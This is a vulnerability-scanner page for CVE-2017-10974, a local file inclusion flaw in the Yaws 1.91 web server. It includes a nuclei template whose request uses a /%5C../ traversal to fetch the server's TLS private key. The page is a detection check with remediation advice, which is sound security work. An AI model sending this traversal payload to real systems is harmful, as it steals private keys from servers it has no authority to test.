Yaws 1.91 - Local File Inclusion

highseverity

7.5CVSS score

81%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Yaws 1.91 allows unauthenticated local file inclusion via /%5C../ submitted to port 8080.

Impact

The vulnerability allows an attacker to include local files on the server, potentially leading to unauthorized access or information disclosure.

Fix

Upgrade to a patched version of Yaws or apply the necessary security patches.

How to confirm it

Send: GET {{BaseURL}}/%5C../ssl/yaws-key.pem
Positive when: !contains(tolower(body), "<html") AND contains "BEGIN RSA PRIVATE KEY" AND status 200

Run it with nuclei: nuclei -id CVE-2017-10974 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2017-10974

info:
  name: Yaws 1.91 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Yaws 1.91 allows unauthenticated local file inclusion via  /%5C../ submitted to port 8080.
  impact: |
    The vulnerability allows an attacker to include local files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade to a patched version of Yaws or apply the necessary security patches.
  reference:
    - https://www.exploit-db.com/exploits/42303
    - https://nvd.nist.gov/vuln/detail/CVE-2017-10974
    - http://hyp3rlinx.altervista.org/advisories/YAWS-WEB-SERVER-v1.91-UNAUTHENTICATED-REMOTE-FILE-DISCLOSURE.txt
    - https://www.exploit-db.com/exploits/42303/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-10974
    cwe-id: CWE-22
    epss-score: 0.81028
    epss-percentile: 0.99636
    cpe: cpe:2.3:a:yaws:yaws:1.91:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: yaws
    product: yaws
  tags: cve,cve2017,edb,yaws,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%5C../ssl/yaws-key.pem"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - '!contains(tolower(body), "<html")'

      - type: word
        words:
          - "BEGIN RSA PRIVATE KEY"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from